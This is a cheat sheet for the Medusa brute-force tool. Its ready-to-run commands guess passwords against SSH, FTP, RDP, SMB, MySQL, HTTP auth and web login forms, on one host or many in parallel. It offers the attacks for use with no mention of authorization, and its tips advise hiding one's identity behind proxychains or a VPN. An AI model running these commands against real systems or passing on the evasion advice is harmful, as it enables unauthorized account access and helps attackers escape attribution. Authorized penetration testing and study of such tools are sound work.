🐍 Medusa Brute-Force Attack Cheat Sheet

Medusa is a **fast, parallel, modular login brute-forcer** supporting many protocols (SSH, FTP, Telnet, HTTP, RDP, SMB, etc.).

🔹 1. Basic Syntax

```
medusa -h <host> -u <username> -p <password> -M <module>
```

- -h → target host
- -H → file with target hosts
- -u → username
- -U → file with usernames
- -p → password
- -P → file with passwords
- -M → module (service to attack, e.g., ssh, ftp, http, smb)

🔹 2. Common Examples

SSH Brute Force (single user)

```
medusa -h 192.168.1.10 -u root -P passwords.txt -M ssh
```

FTP Brute Force (multiple users)

```
medusa -h 192.168.1.20 -U users.txt -P passwords.txt -M ftp
```

HTTP Basic Auth

```
medusa -h target.com -U users.txt -P passlist.txt -M http -m DIR:/admin
```

RDP Brute Force

```
medusa -h 192.168.1.30 -U users.txt -P pass.txt -M rdp
```

SMB Brute Force

```
medusa -h 192.168.1.40 -U users.txt -P passwords.txt -M smbnt
```

---

3. Advanced Usage

Multiple Targets

```
medusa -H hosts.txt -U users.txt -P pass.txt -M ssh
```

Limit Attempts Per Host

```
medusa -h 192.168.1.50 -U users.txt -P pass.txt -M ssh -t 4
```

(-t = number of parallel threads)

Stop on First Success

```
medusa -h 192.168.1.60 -u admin -P pass.txt -M ssh -f
```

Custom Port

```
medusa -h 192.168.1.70 -u root -P pass.txt -M ssh -n 2222
```

---

4. Supported Modules (Common)

Module	Protocol
ssh	Secure Shell
ftp	File Transfer Protocol
telnet	Telnet service
http	Web login / Basic auth
rdp	Remote Desktop Protocol
smbnt	Windows SMB/NTLM
mysql	MySQL database
postgres	PostgreSQL database
vnc	VNC login

Check available modules:

```
medusa -d
```

◆ 5. Useful Options

Option	Description
-t <num>	Threads per host
-T <num>	Total parallel hosts
-f	Stop after first success
-F	Stop after all users on host succeed
-O file	Save output to file
-n <port>	Custom port
-m <opt>	Extra module-specific options

◆ 6. Example Attack Scenarios

Attack Web Login Form

```
medusa -h target.com -u admin -P pass.txt -M web-form \
-m FORM:"/login.php:username=^USER^&password=^PASS^:Invalid"
```

Brute Force MySQL

```
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mysql
```

Parallel Attack on Multiple Hosts

```
medusa -H servers.txt -U users.txt -P passlist.txt -M ssh -T 10
```

◆ 7. Tips & Notes

- Use **small password lists** with -f for faster results.
- Combine with **proxychains** or VPN to hide identity.
- Medusa is **faster than Hydra** for multiple hosts but less flexible in modules.
- Always update your **SecLists** wordlists for best results.